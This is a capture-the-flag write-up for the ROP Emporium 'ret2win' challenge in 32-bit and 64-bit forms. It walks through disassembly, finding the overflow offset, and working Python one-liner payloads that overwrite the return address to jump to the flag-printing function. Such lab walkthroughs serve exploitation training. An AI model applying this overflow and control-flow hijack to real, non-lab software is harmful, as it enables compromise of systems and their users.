ret2win
32 bit
All the functions available to us.

Interesting ones that pop out are main
, pwnme
, and ret2win
. Lets go ahead and disassemble these and see what are we working with.
pwndbg> disassemble pwnme
Dump of assembler code for function pwnme:
0x080485f6 <+0>: push ebp
0x080485f7 <+1>: mov ebp,esp
0x080485f9 <+3>: sub esp,0x28
0x080485fc <+6>: sub esp,0x4
0x080485ff <+9>: push 0x20
0x08048601 <+11>: push 0x0
0x08048603 <+13>: lea eax,[ebp-0x28]
0x08048606 <+16>: push eax
0x08048607 <+17>: call 0x8048460 <memset@plt>
0x0804860c <+22>: add esp,0x10
0x0804860f <+25>: sub esp,0xc
0x08048612 <+28>: push 0x804873c
0x08048617 <+33>: call 0x8048420 <puts@plt>
0x0804861c <+38>: add esp,0x10
0x0804861f <+41>: sub esp,0xc
0x08048622 <+44>: push 0x80487bc
0x08048627 <+49>: call 0x8048420 <puts@plt>
0x0804862c <+54>: add esp,0x10
0x0804862f <+57>: sub esp,0xc
0x08048632 <+60>: push 0x8048821
0x08048637 <+65>: call 0x8048400 <printf@plt>
0x0804863c <+70>: add esp,0x10
0x0804863f <+73>: mov eax,ds:0x804a060
0x08048644 <+78>: sub esp,0x4
0x08048647 <+81>: push eax
0x08048648 <+82>: push 0x32 -> Size of fgets input
0x0804864a <+84>: lea eax,[ebp-0x28]
0x0804864d <+87>: push eax -> Address being loaded to
0x0804864e <+88>: call 0x8048410 <fgets@plt>
0x08048653 <+93>: add esp,0x10
0x08048656 <+96>: nop
0x08048657 <+97>: leave
0x08048658 <+98>: ret
End of assembler dump.
So we have a fgets
which takes 50 bytes of input and tries to store the string into a 32 bytes buffer as described by the challenge text.
$ ./ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
>
pwndbg> disassemble ret2win
Dump of assembler code for function ret2win:
0x08048659 <+0>: push ebp
0x0804865a <+1>: mov ebp,esp
0x0804865c <+3>: sub esp,0x8
0x0804865f <+6>: sub esp,0xc
0x08048662 <+9>: push 0x8048824
0x08048667 <+14>: call 0x8048400 <printf@plt>
0x0804866c <+19>: add esp,0x10
0x0804866f <+22>: sub esp,0xc
0x08048672 <+25>: push 0x8048841
## Prints flag to the screen
0x08048677 <+30>: call 0x8048430 <system@plt>
0x0804867c <+35>: add esp,0x10
0x0804867f <+38>: nop
0x08048680 <+39>: leave
0x08048681 <+40>: ret
End of assembler dump.
pwndbg>
So now our task is to use the overflowed buffer to call the ret2win
function and get the flag.
Now we'll try and find the offset which will give us the precise control of the EIP
register.
$ msf-pattern_create -l 100 > pattern.string; cat pattern.string | ./ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> Segmentation fault
So now we have a segmentation fault, and we can check the failed EIP
using dmesg
logs and find the offset value.
$ sudo dmesg | tail -2
[ 3369.503758] ret2win32[8889]: segfault at 35624134 ip 0000000035624134 sp 00000000ffdd6570 error 14 in libc-2.29.so[f7d14000+1d000]
[ 3369.503766] Code: Bad RIP value.
# Our bad EIP value is 35624134
$ msf-pattern_offset -q 0x35624134
[*] Exact match at offset 44
# Let's confirm our control of IP
$ python -c 'print "A"*44 + "B"*4' | ./ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> Segmentation fault
$ sudo dmesg | tail -2
[ 3573.424132] ret2win32[8937]: segfault at 42424242 ip 0000000042424242 sp 00000000ff9f67b0 error 14 in libc-2.29.so[f7d86000+1d000]
[ 3573.424144] Code: Bad RIP value.
Now we have the desired control of EIP
. Now we'll check the address of the function to jump to, to get our precious flag.
$ readelf -s ./ret2win32 | grep ret2win
37: 00000000 0 FILE LOCAL DEFAULT ABS ret2win.c
39: 08048659 41 FUNC LOCAL DEFAULT 14 ret2win
Now we can construct our exploit and point our EIP
to this address to get the flag.
$ python -c 'import struct; print "A"*44 + struct.pack("<I", int("0x08048659", 16))' > exploit.payload; cat exploit.payload | ./ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault
64 bit
The functions and their functionality remains the same throughout the binaries so we'll jump right to finding the offset to control our RIP
.
$ msf-pattern_create -l 100 > pattern.string
We can not use the same trick of checking the dmesg
for messed up EIP
as in case of 64 binaries the result is at RSP
and its value is not visible in dmesg
.

So value of our RSP
is 0x3562413462413362
and the offset value is
$ msf-pattern_offset -q 0x3562413462413362
[*] Exact match at offset 40
So let's confirm our RIP
control.
$ python -c 'print "A"*40 + "B"*8' > trial.payload

So now we have our control and we can now find the address of the desired function and point the RIP
to that address and get our flag.
$ readelf -s ./ret2win | grep ret2win
37: 0000000000000000 0 FILE LOCAL DEFAULT ABS ret2win.c
39: 0000000000400811 32 FUNC LOCAL DEFAULT 14 ret2win
As you can see, there are plenty of NULL
bytes which should break our exploit, but they won't as we are using fgets
, which only terminates input when it gets a newline or an EOF
. So NULL
bytes are no problems in this case. Lets construct our final payload and get the flag.
$ python -c 'from pwn import *; print "A"*40 + p64(0x400811)' > exploit.payload
$ cat exploit.payload | ./ret2win
ret2win by ROP Emporium
64bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault
Last updated
Was this helpful?